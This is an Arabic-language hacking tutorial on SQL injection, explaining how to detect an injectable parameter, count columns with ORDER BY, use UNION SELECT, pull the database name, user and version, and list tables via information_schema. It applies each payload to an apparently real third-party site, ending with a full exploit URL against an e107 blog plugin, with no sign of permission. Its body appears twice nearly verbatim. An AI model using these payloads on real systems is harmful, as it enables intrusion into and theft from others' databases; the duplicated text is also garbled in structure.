السلام عليكم ورحمة الله وبركاته النهارده هشرحلكم اكتشاف واستغلال ثغرات الحقن "sql injection"
طيب اول حاجة لازم تشوف الدرس الى فات عشان تفهمود درس انهارده :-
====================================
ما معنى ثغرات ال sql injection ولماذا سميت بهذا الاسم؟
=====================================
ثغرات الحقن او ثغرات ال sql injection سميت بالاسم ده نظرا لان الثغرة
تؤدى الى حقن او اضافة query خاص بالمخترق الى query الاصلى الموجود بالاسكربت
===========================================
كيف نكتشف ثغرة ال sql injection.؟
============================================
عشان نكتشف ثغرة sql injection لازم نختبر امكانية حقن ال query
وده من خلال اننا نروح لاى متغير بموقع معين ونضيف اى نص "string" الى المتغير ده
ونشوف لو ظهر لنا ايرور او محتوى الصفحة نقص يبقى كده الموقع مصاب بثغرة الحقن
لانه دخل النص بتاعنا فى ال query الاصلى بالاسكربت وبالتالى فهو مصاب
طيب لو رجعت الصفحة كما كانت يبقى كده تجاهل النص "string" الى ادخلناه
ولم يتم اضافة النص للكويرى الى بالاسكربت وبالتالى الموقع غير قابل للحقن اى غير مصاب ..
=======================================
اختبار " اكتشاف ثغرة sql injection " "تطبيق عملى"
=======================================
طيب عاوزين نطبق الكلام ده عملى انا معايا موقع هشرح عليه :-
نشوف المتغير بالموقع
طيب دلوقتى هختبر الموقع مصاب بثغرة حقن ام لا باضافة ' او اى نص مثلا Dolla
الى المتغير
فى الموقع ده لو ضيفت ال ' بيقولك acess denied قد ينخدع البعض ويفكر الموقع غير مصاب
لاكن انا اقولكم جربو تضيف اى نص مثلا نص Dolla للتاكد
المحتوى اختفى من الصفحة بعد اضافة النص Dolla يبقى الموقع مصاب بالحقن ..
الخطوة الجاية هى معرفة عدد العواميد الى بالquery الموجود بالاسكربت :d
من خلال order+by
===========================================
شرح وظيفة order+by على سبيل الامثلة
==========================================
طيب كتير من الناس موش فاهمة ايه فكرة عمل order by انا اقولكم
فكرة order by وظيفتها انها بترتب نتيجة عواميد معينة بدلالة عمود معين مثلا
رمز:
select name,age,job from profile+order+by+1
طيب الكويرى ده هيرتبلنا الاسم والوظيفة والعمر بناء على او بدلالة الاسم "name"
رمز:
select name,age,job from profile+order+by+2
هنا الكويرى ده هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود رقم 2 وهو ال العمر "age"
رمز:
select name,age,job from profile+order+by+3
هنا الكويرى هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود 3 وهو الوظيفة "job"
رمز:
select name,age,job from profile+order+by+4
طيب دلوقتى هنا طبعا هيجبلنا ايرور ليه السبب لان مفيش عمود رابع !!!!
ودى الطريقة الى هنبتعها لمعرفة العواميد فى الكويرى الى بسكربت الموقع المصاب
فانا مثلا هضيف للمتغير
رمز:
macgurublog.php?uid=3+order+by+1--
مفيش ايرور ولم ينقص المحتوى .. وده اكيد لان اى query لازم يحتوى على الاقل على عمود
طيب نجرب
رمز:
macgurublog.php?uid=3+order+by+2--
المحتوى رجع كامل .. يبقى نجرب
رمز:
macgurublog.php?uid=3+order+by+3--
المحتوى رجع كامل .. يبقى نجرب ..
رمز:
macgurublog.php?uid=3+order+by+4--
اممم المحتوى نقص .. او ظهر ايرور يبقى انا افهم ان مفيش عمود رابع اى عدد العواميد
هم تلت عواميد .. وده كان على سبيل المثال افتراضى يعنى
طبعا انا استخدمت "-- " للتعليق لكى تخلى اى جملة تقع بعدها مجرد تعليق تم شرحها
بالدرس السابق :- طيب دلوقتى هنجرب عملى على الموقع المصاب
==================================================
تطبيق Order+By على الموقع المصاب لمعرفة عدد عواميد الquery ألموجود بالاسكربت
==================================================
هجرب اول حاجة
رمز:
macgurublog.php?uid=3+order+by+1--
الصفحة رجعت كاملة
طيب يبقى هخليها
رمز:
macgurublog.php?uid=3+order+by+2--
محتوى الصفحة اختفى يبقى افهم من كده ان مفيش عمود تانى بالكويرى اى ان عدد عواميد الاسكربت
هو "عمود واحد فقط"
طيب وماذا بعد معرفة عدد العواميد ؟؟ هنتقل للخطوة التالتة وهى استخدام
ال union+select لحقن الquery بتاعنا .. واضافته الى الquery
الموجود بالاسكربت ...
===================================
استخدام ال union+select
==================================
طيب دلوقتى عرفنا ان عدد العواميد 1 يبقى انا هضيف ..
رمز:
macgurublog.php?uid=3+union+select+1--
وطبعا لو كان العواميد 2
كنت هضيف :-
رمز:
macgurublog.php?uid=3+union+select+2--
ولو تلاتة : كنت هضيف
رمز:
macgurublog.php?uid=3+union+select+3--
وهكاذا :-
طيب نشوف الصورة ..
طيب انا ضيف - قبل المتغير 3 عشان اشوف رقم العمود ولقيت رقم العمود 1 ظهر بالصفحة
دلوقتى ممكن احقن الquery الخاص بينا مكان رقم العمود 1
طيب نشوف
===========================================
استخراج :- اسم القاعدة + اسم مستخدم القاعدة +اصدار القاعدة
===================================
هضع مكان العمود 1 :-
رمز:
concat(database(),0x3e,user(),0x3e,@@version)
طيب نفسر الحقنة :-
الدالة concat() :تقوم باظهار اكثر من نتيجة بمكان عمود واحد :- يعنى هجيب
نتيجة اسم القاعدة واسم المستخدم واصدار القاعدة بمكان عمود واحد . الى هو العمود رقم 1
0X3E :دى علامة > بس بتشفير الهيكس هفصل بيها بين اسم المستخدم واسم القاعدة
والاصدار
database():لاظهاراسم القاعدة
user():لاظهار اسم مستخدم القاعدة
@@version :لاظهار اصدار القاعدة :-
طيب بعد الاستغلال نشوف الصورة ...
طيب دلوقتى عرفنا اسم القاعدة واصدارها واسم مستخدم القاعدة :- اهم حاجة عندنا
عرفنا اصدار القاعدة انه الخامس لانه بتفرق فى الحقن الاصدار فالاصدار الرابع
يعتمد على تخمين الجداول او معرفة مسبقة باسامى الجداول
اما الاصدار الخامس فيوجد به شىء اسمه ال "schema"ودى فيها اسامى الجداول
والقواعد والعواميد ..
===========================================
حقن الاصدار الخامس واستخراج أسامى عواميد القاعدة من ال schema
========================================
طيب دلوقتى عاوز استخرج جميع اسماء الجداول لقاعدة الاسكربت
الى اسمها ."turkijeappartem"
هشيل رقم 1 :- واضيف: -
رمز:
group_concat(table_name)
+from+information_schema.tables+where+table_schema='t
urkijeappartem'--
table_name :ده عمود الى فيه جميع اسماء جداول القاعدة
infomation_schema.tables : ده جدول tables الى يحتوى على عمود
table_name ..
turkijeappartem : دى اسم القاعدة الى هستخرج اسامى جداولها ..
وانا وضعتها بين علامة التنصيص '' لانها string اى نص
طيب دلوقتى فى مشكلة .. ان لو الماجيك كوتس اون هيمنعنى انى اضيف ال ''
لانه هيحط / قبل ال ' والدنيا هتبوظ عشان كده هشفر اسم القاعدة بالهيكس
وهيكون الاستغلال كده
رمز:
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(table_name)
+from+information_schema.tables+where+table_Schema=0x
7475726B696A65617070617274656D
طيب اول حاجة لازم تشوف الدرس الى فات عشان تفهمود درس انهارده :-
====================================
ما معنى ثغرات ال sql injection ولماذا سميت بهذا الاسم؟
=====================================
ثغرات الحقن او ثغرات ال sql injection سميت بالاسم ده نظرا لان الثغرة
تؤدى الى حقن او اضافة query خاص بالمخترق الى query الاصلى الموجود بالاسكربت
===========================================
كيف نكتشف ثغرة ال sql injection.؟
============================================
عشان نكتشف ثغرة sql injection لازم نختبر امكانية حقن ال query
وده من خلال اننا نروح لاى متغير بموقع معين ونضيف اى نص "string" الى المتغير ده
ونشوف لو ظهر لنا ايرور او محتوى الصفحة نقص يبقى كده الموقع مصاب بثغرة الحقن
لانه دخل النص بتاعنا فى ال query الاصلى بالاسكربت وبالتالى فهو مصاب
طيب لو رجعت الصفحة كما كانت يبقى كده تجاهل النص "string" الى ادخلناه
ولم يتم اضافة النص للكويرى الى بالاسكربت وبالتالى الموقع غير قابل للحقن اى غير مصاب ..
=======================================
اختبار " اكتشاف ثغرة sql injection " "تطبيق عملى"
=======================================
طيب عاوزين نطبق الكلام ده عملى انا معايا موقع هشرح عليه :-
نشوف المتغير بالموقع
طيب دلوقتى هختبر الموقع مصاب بثغرة حقن ام لا باضافة ' او اى نص مثلا Dolla
الى المتغير
فى الموقع ده لو ضيفت ال ' بيقولك acess denied قد ينخدع البعض ويفكر الموقع غير مصاب
لاكن انا اقولكم جربو تضيف اى نص مثلا نص Dolla للتاكد
المحتوى اختفى من الصفحة بعد اضافة النص Dolla يبقى الموقع مصاب بالحقن ..
الخطوة الجاية هى معرفة عدد العواميد الى بالquery الموجود بالاسكربت :d
من خلال order+by
===========================================
شرح وظيفة order+by على سبيل الامثلة
==========================================
طيب كتير من الناس موش فاهمة ايه فكرة عمل order by انا اقولكم
فكرة order by وظيفتها انها بترتب نتيجة عواميد معينة بدلالة عمود معين مثلا
رمز:
select name,age,job from profile+order+by+1
طيب الكويرى ده هيرتبلنا الاسم والوظيفة والعمر بناء على او بدلالة الاسم "name"
رمز:
select name,age,job from profile+order+by+2
هنا الكويرى ده هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود رقم 2 وهو ال العمر "age"
رمز:
select name,age,job from profile+order+by+3
هنا الكويرى هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود 3 وهو الوظيفة "job"
رمز:
select name,age,job from profile+order+by+4
طيب دلوقتى هنا طبعا هيجبلنا ايرور ليه السبب لان مفيش عمود رابع !!!!
ودى الطريقة الى هنبتعها لمعرفة العواميد فى الكويرى الى بسكربت الموقع المصاب
فانا مثلا هضيف للمتغير
رمز:
macgurublog.php?uid=3+order+by+1--
مفيش ايرور ولم ينقص المحتوى .. وده اكيد لان اى query لازم يحتوى على الاقل على عمود
طيب نجرب
رمز:
macgurublog.php?uid=3+order+by+2--
المحتوى رجع كامل .. يبقى نجرب
رمز:
macgurublog.php?uid=3+order+by+3--
المحتوى رجع كامل .. يبقى نجرب ..
رمز:
macgurublog.php?uid=3+order+by+4--
اممم المحتوى نقص .. او ظهر ايرور يبقى انا افهم ان مفيش عمود رابع اى عدد العواميد
هم تلت عواميد .. وده كان على سبيل المثال افتراضى يعنى
طبعا انا استخدمت "-- " للتعليق لكى تخلى اى جملة تقع بعدها مجرد تعليق تم شرحها
بالدرس السابق :- طيب دلوقتى هنجرب عملى على الموقع المصاب
==================================================
تطبيق Order+By على الموقع المصاب لمعرفة عدد عواميد الquery ألموجود بالاسكربت
==================================================
هجرب اول حاجة
رمز:
macgurublog.php?uid=3+order+by+1--
الصفحة رجعت كاملة
طيب يبقى هخليها
رمز:
macgurublog.php?uid=3+order+by+2--
محتوى الصفحة اختفى يبقى افهم من كده ان مفيش عمود تانى بالكويرى اى ان عدد عواميد الاسكربت
هو "عمود واحد فقط"
طيب وماذا بعد معرفة عدد العواميد ؟؟ هنتقل للخطوة التالتة وهى استخدام
ال union+select لحقن الquery بتاعنا .. واضافته الى الquery
الموجود بالاسكربت ...
===================================
استخدام ال union+select
==================================
طيب دلوقتى عرفنا ان عدد العواميد 1 يبقى انا هضيف ..
رمز:
macgurublog.php?uid=3+union+select+1--
وطبعا لو كان العواميد 2
كنت هضيف :-
رمز:
macgurublog.php?uid=3+union+select+2--
ولو تلاتة : كنت هضيف
رمز:
macgurublog.php?uid=3+union+select+3--
وهكاذا :-
طيب نشوف الصورة ..
طيب انا ضيف - قبل المتغير 3 عشان اشوف رقم العمود ولقيت رقم العمود 1 ظهر بالصفحة
دلوقتى ممكن احقن الquery الخاص بينا مكان رقم العمود 1
طيب نشوف
===========================================
استخراج :- اسم القاعدة + اسم مستخدم القاعدة +اصدار القاعدة
===================================
هضع مكان العمود 1 :-
رمز:
concat(database(),0x3e,user(),0x3e,@@version)
طيب نفسر الحقنة :-
الدالة concat() :تقوم باظهار اكثر من نتيجة بمكان عمود واحد :- يعنى هجيب
نتيجة اسم القاعدة واسم المستخدم واصدار القاعدة بمكان عمود واحد . الى هو العمود رقم 1
0X3E :دى علامة > بس بتشفير الهيكس هفصل بيها بين اسم المستخدم واسم القاعدة
والاصدار
database():لاظهاراسم القاعدة
user():لاظهار اسم مستخدم القاعدة
@@version :لاظهار اصدار القاعدة :-
طيب بعد الاستغلال نشوف الصورة ...
طيب دلوقتى عرفنا اسم القاعدة واصدارها واسم مستخدم القاعدة :- اهم حاجة عندنا
عرفنا اصدار القاعدة انه الخامس لانه بتفرق فى الحقن الاصدار فالاصدار الرابع
يعتمد على تخمين الجداول او معرفة مسبقة باسامى الجداول
اما الاصدار الخامس فيوجد به شىء اسمه ال "schema"ودى فيها اسامى الجداول
والقواعد والعواميد ..
===========================================
حقن الاصدار الخامس واستخراج أسامى عواميد القاعدة من ال schema
========================================
طيب دلوقتى عاوز استخرج جميع اسماء الجداول لقاعدة الاسكربت
الى اسمها ."turkijeappartem"
هشيل رقم 1 :- واضيف: -
رمز:
group_concat(table_name)
+from+information_schema.tables+where+table_schema='t
urkijeappartem'--
table_name :ده عمود الى فيه جميع اسماء جداول القاعدة
infomation_schema.tables : ده جدول tables الى يحتوى على عمود
table_name ..
turkijeappartem : دى اسم القاعدة الى هستخرج اسامى جداولها ..
وانا وضعتها بين علامة التنصيص '' لانها string اى نص
طيب دلوقتى فى مشكلة .. ان لو الماجيك كوتس اون هيمنعنى انى اضيف ال ''
لانه هيحط / قبل ال ' والدنيا هتبوظ عشان كده هشفر اسم القاعدة بالهيكس
وهيكون الاستغلال كده
رمز:
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(table_name)
+from+information_schema.tables+where+table_Schema=0x
7475726B696A65617070617274656D